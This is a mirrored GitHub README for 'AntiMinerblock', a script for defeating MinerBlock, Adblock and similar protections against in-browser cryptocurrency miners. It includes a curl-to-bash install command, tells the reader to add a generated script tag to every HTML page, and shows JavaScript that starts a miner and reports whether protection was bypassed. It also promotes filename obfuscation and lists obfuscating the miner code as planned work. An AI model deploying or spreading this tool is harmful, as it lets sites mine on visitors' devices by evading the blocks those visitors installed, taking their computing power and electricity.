Giter VIP home page Giter VIP logo

antiminerblock's Introduction

AntiMinerblock

This script attempts to bypass extensions or network blocks that prevent the use of online cryptocurrency miners.

100% effectiveness from tested extensions

  • MinerBlock
  • AntiMiner
  • Adblock (all lists enabled)
  • Adblock Plus

Features

  • 100% success rate
  • Obfuscates filenames per server
  • Automatically creates proxy (using coin-hive-stratum)
  • Random port
  • Interactive setup

Installation

Ubuntu/Unix

First, make sure you have Node.js installed: https://nodejs.org/en/download/package-manager/

Navigate to your server's scripts directory and run

bash <(curl -s https://raw.githubusercontent.com/SkyrisBactera/AntiMinerblock/master/setup.sh)

Then, add the script tag that the file generates to every HTML file you want to be protected. That's it!

Windows

Not implemented yet (you can use cygwin for now)

Usage

Call loadCryptominer, which will return a miner, and will return a value 0 to 4 referring to whether or not it worked.

0 - Remote coinhive
1 - Local coinhive with proxy
2 - Authedmine
3 - Crypto-loot
4 - Cloudcoins
5 - All blocked
6 - Script not blocked, but failure creating miner instance

Example:

loadCryptominer(function(miner, status) {
  //Code that mines
  //For example:
  if (status == 5 || status == 6) {
    console.log("TEST FAILED!")
  } else {
    console.log("SUCCESSFULLY BYPASSED PROTECTION!")
  }
  miner.start();
  // Update stats once per second
  setInterval(function() {
    var hashesPerSecond = miner.getHashesPerSecond();
    var totalHashes = miner.getTotalHashes();
    var acceptedHashes = miner.getAcceptedHashes();
    console.log(hashesPerSecond, totalHashes, acceptedHashes)
    }, 1000);
});

Donate!

If you appreciate this project, feel free to send me PayPal money at: [email protected]

TODO

  • Run proxy over port 80 or 443
  • Obfuscate miner code

antiminerblock's People

Contributors

programmerino avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar

Forkers

fmchawki

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.